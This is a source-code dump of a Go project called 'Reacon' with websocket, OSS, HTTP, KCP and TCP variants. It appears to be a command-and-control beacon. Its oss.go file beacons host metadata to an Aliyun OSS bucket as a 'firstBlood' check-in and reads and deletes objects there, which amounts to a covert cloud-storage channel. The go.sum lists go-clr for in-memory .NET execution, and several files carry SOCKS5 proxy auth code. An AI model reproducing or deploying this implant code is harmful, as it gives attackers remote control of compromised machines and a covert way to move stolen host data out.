67 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key)
68 | // key与加密结果放到一起
69 | keyAndData := append(key, encryptedData...)
70 | return keyAndData, nil
71 | }
72 | func RandomInt(min, max int) int {
73 | r.Seed(time.Now().UnixNano())
74 | return min + r.Intn(max-min)
75 | }
76 |
77 | func Decrypt(data []byte) ([]byte, error) {
78 | if len(data) < 32 {
79 | return nil, fmt.Errorf("data is too short")
80 | }
81 | key := data[:32]
82 | encryptedData := data[32:]
83 | decryptedData, _ := decryptAES(encryptedData, key)
84 | plainData, _ := hex.DecodeString(string(decryptedData))
85 | return plainData, nil
86 | }
87 |
88 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte
89 | func EncodeBase64(data []byte) ([]byte, error) {
90 | encodedString := base64.StdEncoding.EncodeToString(data)
91 | return []byte(encodedString), nil
92 | }
93 |
94 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte
95 | func DecodeBase64(encodedData []byte) ([]byte, error) {
96 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData))
97 | if err != nil {
98 | return nil, err
99 | }
100 | return decodedData, nil
101 | }
102 | func BytesToMD5(s []byte) string {
103 | // 创建一个新的 MD5 哈希对象
104 | hasher := md5.New()
105 |
106 | // 将字符串写入哈希对象
107 | hasher.Write(s)
108 |
109 | // 获取哈希值的字节切片
110 | md5Bytes := hasher.Sum(nil)
111 |
112 | // 将字节切片转换为十六进制字符串
113 | return fmt.Sprintf("%x", md5Bytes)
114 | }
115 |
--------------------------------------------------------------------------------
/Reacon_websocket/go.sum:
--------------------------------------------------------------------------------
1 | github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
2 | github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
4 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
5 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
6 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
7 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
8 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
9 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
10 | github.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA=
11 | github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4=
12 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
13 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
14 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
15 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
16 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
17 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU=
18 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY=
19 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY=
20 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE=
21 | github.com/togettoyou/wsc v1.3.1 h1:vqkxD2eG3tGQd5dcsoZsEpS+DnkAqr3NKkCviIKw+5M=
22 | github.com/togettoyou/wsc v1.3.1/go.mod h1:OxmQRmVaYYSylUYb1TRDvlLfkBdvV7aDMEDALizjKxQ=
23 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
24 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
25 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
26 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
27 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
28 | golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
29 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
30 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
31 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
32 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
33 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
34 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
35 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
36 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/communication/oss.go:
--------------------------------------------------------------------------------
1 | package communication
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/utils"
6 | "fmt"
7 | "github.com/aliyun/aliyun-oss-go-sdk/oss"
8 | "io/ioutil"
9 | "log"
10 | "os"
11 | "strings"
12 | "time"
13 | )
14 |
15 | type Client struct {
16 | Cli *oss.Client
17 | Bucket *oss.Bucket
18 | Endpoint string
19 | AccessKeyId string
20 | AccessKeySecret string
21 | BucketName string
22 | }
23 |
24 | var Service *Client
25 |
26 | // var c *oss.Bucket
27 |
28 | func InitClient(endPoint, accessKeyId, accessKeySecret, bucketName string) error {
29 | var ossClient *oss.Client
30 | var err error
31 |
32 | ossClient, err = oss.New(endPoint, accessKeyId, accessKeySecret)
33 | if err != nil {
34 | return err
35 | }
36 |
37 | var ossBucket *oss.Bucket
38 | ossBucket, err = ossClient.Bucket(bucketName)
39 | if err != nil {
40 | return err
41 | }
42 |
43 | Service = &Client{
44 | Cli: ossClient,
45 | Bucket: ossBucket,
46 | Endpoint: endPoint,
47 | AccessKeyId: accessKeyId,
48 | AccessKeySecret: accessKeySecret,
49 | BucketName: bucketName,
50 | }
51 | go func() {
52 | if len(utils.MetaInfo) == 0 {
53 | utils.MetaInfo, _ = utils.EncryptedMetaInfo()
54 | utils.MetaInfo, _ = encrypt.EncodeBase64(utils.MetaInfo)
55 | tmp, _ := encrypt.DecodeBase64(utils.MetaInfo)
56 | tmp, _ = encrypt.Decrypt(tmp)
57 | utils.Uid = encrypt.BytesToMD5(tmp)
58 | }
59 | firstBloodInt := 1
60 | firstBloodBytes := utils.WriteInt(firstBloodInt)
61 | firstBloodMsg := utils.BytesCombine(firstBloodBytes, utils.MetaInfo)
62 |
63 | Send(Service, utils.Uid+fmt.Sprintf("/client_%020d", time.Now().UnixNano()), firstBloodMsg)
64 | time.Sleep(60 * time.Second)
65 | }()
66 |
67 | return nil
68 | }
69 | func List(c *Client) []oss.ObjectProperties {
70 |
71 | lsRes, err := c.Bucket.ListObjects(oss.MaxKeys(3), oss.Prefix(""))
72 | if err != nil {
73 | fmt.Println("Error:", err)
74 | os.Exit(-1)
75 | }
76 | // fmt.Println(lsRes)
77 | return lsRes.Objects
78 |
79 | }
80 | func Send(c *Client, name string, content []byte) {
81 |
82 | encodeData, err := encrypt.EncodeBase64(content)
83 | // 1.通过字符串上传对象
84 | f := strings.NewReader(string(encodeData))
85 | // var err error
86 | err = c.Bucket.PutObject(name, f)
87 | if err != nil {
88 | log.Println("[-]", "上传失败")
89 | return
90 | }
91 |
92 | }
93 | func Get(c *Client, name string) []byte {
94 |
95 | body, err := c.Bucket.GetObject(name)
96 | if err != nil {
97 | return nil
98 | }
99 | // 数据读取完成后,获取的流必须关闭,否则会造成连接泄漏,导致请求无连接可用,程序无法正常工作。
100 | defer body.Close()
101 | // println(body)
102 | data, err := ioutil.ReadAll(body)
103 | if err != nil {
104 | fmt.Println("Error:", err)
105 | os.Exit(-1)
106 | }
107 | // fmt.Println(data)
108 | decodeData, err := encrypt.DecodeBase64(data)
109 | return decodeData
110 | }
111 |
112 | func Del(c *Client, name string) {
113 | err := c.Bucket.DeleteObject(name)
114 | if err != nil {
115 | panic(err)
116 | }
117 |
118 | }
119 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/statute/auth.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | )
7 |
8 | // auth error defined
9 | var (
10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed")
11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism")
12 | )
13 |
14 | // UserPassRequest is the negotiation user's password request packet
15 | // The SOCKS handshake user's password request is formed as follows:
16 | //
17 | // +--------------+------+----------+------+----------+
18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS |
19 | // +--------------+------+----------+------+----------+
20 | // | 1 | 1 | Variable | 1 | Variable |
21 | // +--------------+------+----------+------+----------+
22 | type UserPassRequest struct {
23 | Ver byte
24 | Ulen byte
25 | Plen byte
26 | User []byte // 1-255 bytes
27 | Pass []byte // 1-255 bytes
28 | }
29 |
30 | // NewUserPassRequest new user's password request packet with ver,user, pass
31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest {
32 | return UserPassRequest{
33 | ver,
34 | byte(len(user)),
35 | byte(len(pass)),
36 | user,
37 | pass,
38 | }
39 | }
40 |
41 | // ParseUserPassRequest parse user's password request.
42 | //
43 | //nolint:nakedret
44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) {
45 | tmp := []byte{0, 0}
46 |
47 | // Get the version and username length
48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil {
49 | return
50 | }
51 | nup.Ver, nup.Ulen = tmp[0], tmp[1]
52 |
53 | // Ensure the UserPass version
54 | if nup.Ver != UserPassAuthVersion {
55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver)
56 | return
57 | }
58 |
59 | // Get the user name
60 | nup.User = make([]byte, nup.Ulen)
61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil {
62 | return
63 | }
64 |
65 | // Get the password length
66 | if _, err = r.Read(tmp[:1]); err != nil {
67 | return
68 | }
69 | nup.Plen = tmp[0]
70 |
71 | // Get the password
72 | nup.Pass = make([]byte, nup.Plen)
73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen))
74 | return nup, err
75 | }
76 |
77 | // Bytes to bytes
78 | func (sf UserPassRequest) Bytes() []byte {
79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen)
80 | b = append(b, sf.Ver, sf.Ulen)
81 | b = append(b, sf.User...)
82 | b = append(b, sf.Plen)
83 | b = append(b, sf.Pass...)
84 | return b
85 | }
86 |
87 | // UserPassReply is the negotiation user's password reply packet
88 | // The SOCKS handshake user's password response is formed as follows:
89 | //
90 | // +-----+--------+
91 | // | VER | status |
92 | // +-----+--------+
93 | // | 1 | 1 |
94 | // +-----+--------+
95 | type UserPassReply struct {
96 | Ver byte
97 | Status byte
98 | }
99 |
100 | // ParseUserPassReply parse user's password reply packet.
101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) {
102 | bb := []byte{0, 0}
103 | if _, err = io.ReadFull(r, bb); err != nil {
104 | return
105 | }
106 | upr.Ver, upr.Status = bb[0], bb[1]
107 | return
108 | }
109 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/statute/auth.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | )
7 |
8 | // auth error defined
9 | var (
10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed")
11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism")
12 | )
13 |
14 | // UserPassRequest is the negotiation user's password request packet
15 | // The SOCKS handshake user's password request is formed as follows:
16 | //
17 | // +--------------+------+----------+------+----------+
18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS |
19 | // +--------------+------+----------+------+----------+
20 | // | 1 | 1 | Variable | 1 | Variable |
21 | // +--------------+------+----------+------+----------+
22 | type UserPassRequest struct {
23 | Ver byte
24 | Ulen byte
25 | Plen byte
26 | User []byte // 1-255 bytes
27 | Pass []byte // 1-255 bytes
28 | }
29 |
30 | // NewUserPassRequest new user's password request packet with ver,user, pass
31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest {
32 | return UserPassRequest{
33 | ver,
34 | byte(len(user)),
35 | byte(len(pass)),
36 | user,
37 | pass,
38 | }
39 | }
40 |
41 | // ParseUserPassRequest parse user's password request.
42 | //
43 | //nolint:nakedret
44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) {
45 | tmp := []byte{0, 0}
46 |
47 | // Get the version and username length
48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil {
49 | return
50 | }
51 | nup.Ver, nup.Ulen = tmp[0], tmp[1]
52 |
53 | // Ensure the UserPass version
54 | if nup.Ver != UserPassAuthVersion {
55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver)
56 | return
57 | }
58 |
59 | // Get the user name
60 | nup.User = make([]byte, nup.Ulen)
61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil {
62 | return
63 | }
64 |
65 | // Get the password length
66 | if _, err = r.Read(tmp[:1]); err != nil {
67 | return
68 | }
69 | nup.Plen = tmp[0]
70 |
71 | // Get the password
72 | nup.Pass = make([]byte, nup.Plen)
73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen))
74 | return nup, err
75 | }
76 |
77 | // Bytes to bytes
78 | func (sf UserPassRequest) Bytes() []byte {
79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen)
80 | b = append(b, sf.Ver, sf.Ulen)
81 | b = append(b, sf.User...)
82 | b = append(b, sf.Plen)
83 | b = append(b, sf.Pass...)
84 | return b
85 | }
86 |
87 | // UserPassReply is the negotiation user's password reply packet
88 | // The SOCKS handshake user's password response is formed as follows:
89 | //
90 | // +-----+--------+
91 | // | VER | status |
92 | // +-----+--------+
93 | // | 1 | 1 |
94 | // +-----+--------+
95 | type UserPassReply struct {
96 | Ver byte
97 | Status byte
98 | }
99 |
100 | // ParseUserPassReply parse user's password reply packet.
101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) {
102 | bb := []byte{0, 0}
103 | if _, err = io.ReadFull(r, bb); err != nil {
104 | return
105 | }
106 | upr.Ver, upr.Status = bb[0], bb[1]
107 | return
108 | }
109 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/statute/auth.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | )
7 |
8 | // auth error defined
9 | var (
10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed")
11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism")
12 | )
13 |
14 | // UserPassRequest is the negotiation user's password request packet
15 | // The SOCKS handshake user's password request is formed as follows:
16 | //
17 | // +--------------+------+----------+------+----------+
18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS |
19 | // +--------------+------+----------+------+----------+
20 | // | 1 | 1 | Variable | 1 | Variable |
21 | // +--------------+------+----------+------+----------+
22 | type UserPassRequest struct {
23 | Ver byte
24 | Ulen byte
25 | Plen byte
26 | User []byte // 1-255 bytes
27 | Pass []byte // 1-255 bytes
28 | }
29 |
30 | // NewUserPassRequest new user's password request packet with ver,user, pass
31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest {
32 | return UserPassRequest{
33 | ver,
34 | byte(len(user)),
35 | byte(len(pass)),
36 | user,
37 | pass,
38 | }
39 | }
40 |
41 | // ParseUserPassRequest parse user's password request.
42 | //
43 | //nolint:nakedret
44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) {
45 | tmp := []byte{0, 0}
46 |
47 | // Get the version and username length
48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil {
49 | return
50 | }
51 | nup.Ver, nup.Ulen = tmp[0], tmp[1]
52 |
53 | // Ensure the UserPass version
54 | if nup.Ver != UserPassAuthVersion {
55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver)
56 | return
57 | }
58 |
59 | // Get the user name
60 | nup.User = make([]byte, nup.Ulen)
61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil {
62 | return
63 | }
64 |
65 | // Get the password length
66 | if _, err = r.Read(tmp[:1]); err != nil {
67 | return
68 | }
69 | nup.Plen = tmp[0]
70 |
71 | // Get the password
72 | nup.Pass = make([]byte, nup.Plen)
73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen))
74 | return nup, err
75 | }
76 |
77 | // Bytes to bytes
78 | func (sf UserPassRequest) Bytes() []byte {
79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen)
80 | b = append(b, sf.Ver, sf.Ulen)
81 | b = append(b, sf.User...)
82 | b = append(b, sf.Plen)
83 | b = append(b, sf.Pass...)
84 | return b
85 | }
86 |
87 | // UserPassReply is the negotiation user's password reply packet
88 | // The SOCKS handshake user's password response is formed as follows:
89 | //
90 | // +-----+--------+
91 | // | VER | status |
92 | // +-----+--------+
93 | // | 1 | 1 |
94 | // +-----+--------+
95 | type UserPassReply struct {
96 | Ver byte
97 | Status byte
98 | }
99 |
100 | // ParseUserPassReply parse user's password reply packet.
101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) {
102 | bb := []byte{0, 0}
103 | if _, err = io.ReadFull(r, bb); err != nil {
104 | return
105 | }
106 | upr.Ver, upr.Status = bb[0], bb[1]
107 | return
108 | }
109 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/statute/auth.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | )
7 |
8 | // auth error defined
9 | var (
10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed")
11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism")
12 | )
13 |
14 | // UserPassRequest is the negotiation user's password request packet
15 | // The SOCKS handshake user's password request is formed as follows:
16 | //
17 | // +--------------+------+----------+------+----------+
18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS |
19 | // +--------------+------+----------+------+----------+
20 | // | 1 | 1 | Variable | 1 | Variable |
21 | // +--------------+------+----------+------+----------+
22 | type UserPassRequest struct {
23 | Ver byte
24 | Ulen byte
25 | Plen byte
26 | User []byte // 1-255 bytes
27 | Pass []byte // 1-255 bytes
28 | }
29 |
30 | // NewUserPassRequest new user's password request packet with ver,user, pass
31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest {
32 | return UserPassRequest{
33 | ver,
34 | byte(len(user)),
35 | byte(len(pass)),
36 | user,
37 | pass,
38 | }
39 | }
40 |
41 | // ParseUserPassRequest parse user's password request.
42 | //
43 | //nolint:nakedret
44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) {
45 | tmp := []byte{0, 0}
46 |
47 | // Get the version and username length
48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil {
49 | return
50 | }
51 | nup.Ver, nup.Ulen = tmp[0], tmp[1]
52 |
53 | // Ensure the UserPass version
54 | if nup.Ver != UserPassAuthVersion {
55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver)
56 | return
57 | }
58 |
59 | // Get the user name
60 | nup.User = make([]byte, nup.Ulen)
61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil {
62 | return
63 | }
64 |
65 | // Get the password length
66 | if _, err = r.Read(tmp[:1]); err != nil {
67 | return
68 | }
69 | nup.Plen = tmp[0]
70 |
71 | // Get the password
72 | nup.Pass = make([]byte, nup.Plen)
73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen))
74 | return nup, err
75 | }
76 |
77 | // Bytes to bytes
78 | func (sf UserPassRequest) Bytes() []byte {
79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen)
80 | b = append(b, sf.Ver, sf.Ulen)
81 | b = append(b, sf.User...)
82 | b = append(b, sf.Plen)
83 | b = append(b, sf.Pass...)
84 | return b
85 | }
86 |
87 | // UserPassReply is the negotiation user's password reply packet
88 | // The SOCKS handshake user's password response is formed as follows:
89 | //
90 | // +-----+--------+
91 | // | VER | status |
92 | // +-----+--------+
93 | // | 1 | 1 |
94 | // +-----+--------+
95 | type UserPassReply struct {
96 | Ver byte
97 | Status byte
98 | }
99 |
100 | // ParseUserPassReply parse user's password reply packet.
101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) {
102 | bb := []byte{0, 0}
103 | if _, err = io.ReadFull(r, bb); err != nil {
104 | return
105 | }
106 | upr.Ver, upr.Status = bb[0], bb[1]
107 | return
108 | }
109 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/statute/auth.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | )
7 |
8 | // auth error defined
9 | var (
10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed")
11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism")
12 | )
13 |
14 | // UserPassRequest is the negotiation user's password request packet
15 | // The SOCKS handshake user's password request is formed as follows:
16 | //
17 | // +--------------+------+----------+------+----------+
18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS |
19 | // +--------------+------+----------+------+----------+
20 | // | 1 | 1 | Variable | 1 | Variable |
21 | // +--------------+------+----------+------+----------+
22 | type UserPassRequest struct {
23 | Ver byte
24 | Ulen byte
25 | Plen byte
26 | User []byte // 1-255 bytes
27 | Pass []byte // 1-255 bytes
28 | }
29 |
30 | // NewUserPassRequest new user's password request packet with ver,user, pass
31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest {
32 | return UserPassRequest{
33 | ver,
34 | byte(len(user)),
35 | byte(len(pass)),
36 | user,
37 | pass,
38 | }
39 | }
40 |
41 | // ParseUserPassRequest parse user's password request.
42 | //
43 | //nolint:nakedret
44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) {
45 | tmp := []byte{0, 0}
46 |
47 | // Get the version and username length
48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil {
49 | return
50 | }
51 | nup.Ver, nup.Ulen = tmp[0], tmp[1]
52 |
53 | // Ensure the UserPass version
54 | if nup.Ver != UserPassAuthVersion {
55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver)
56 | return
57 | }
58 |
59 | // Get the user name
60 | nup.User = make([]byte, nup.Ulen)
61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil {
62 | return
63 | }
64 |
65 | // Get the password length
66 | if _, err = r.Read(tmp[:1]); err != nil {
67 | return
68 | }
69 | nup.Plen = tmp[0]
70 |
71 | // Get the password
72 | nup.Pass = make([]byte, nup.Plen)
73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen))
74 | return nup, err
75 | }
76 |
77 | // Bytes to bytes
78 | func (sf UserPassRequest) Bytes() []byte {
79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen)
80 | b = append(b, sf.Ver, sf.Ulen)
81 | b = append(b, sf.User...)
82 | b = append(b, sf.Plen)
83 | b = append(b, sf.Pass...)
84 | return b
85 | }
86 |
87 | // UserPassReply is the negotiation user's password reply packet
88 | // The SOCKS handshake user's password response is formed as follows:
89 | //
90 | // +-----+--------+
91 | // | VER | status |
92 | // +-----+--------+
93 | // | 1 | 1 |
94 | // +-----+--------+
95 | type UserPassReply struct {
96 | Ver byte
97 | Status byte
98 | }
99 |
100 | // ParseUserPassReply parse user's password reply packet.
101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) {
102 | bb := []byte{0, 0}
103 | if _, err = io.ReadFull(r, bb); err != nil {
104 | return
105 | }
106 | upr.Ver, upr.Status = bb[0], bb[1]
107 | return
108 | }
109 |
--------------------------------------------------------------------------------
/Reacon_oss/go.sum:
--------------------------------------------------------------------------------
1 | github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
2 | github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
3 | github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible h1:8psS8a+wKfiLt1iVDX79F7Y6wUM49Lcha2FMXt4UM8g=
4 | github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible/go.mod h1:T/Aws4fEfogEE9v+HPhhw+CntffsBHJ8nXQCwKr0/g8=
5 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
6 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
7 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
8 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
9 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
10 | github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI=
11 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
12 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
13 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
14 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
15 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
16 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
17 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
18 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
19 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
20 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU=
21 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY=
22 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY=
23 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE=
24 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
25 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
26 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
27 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
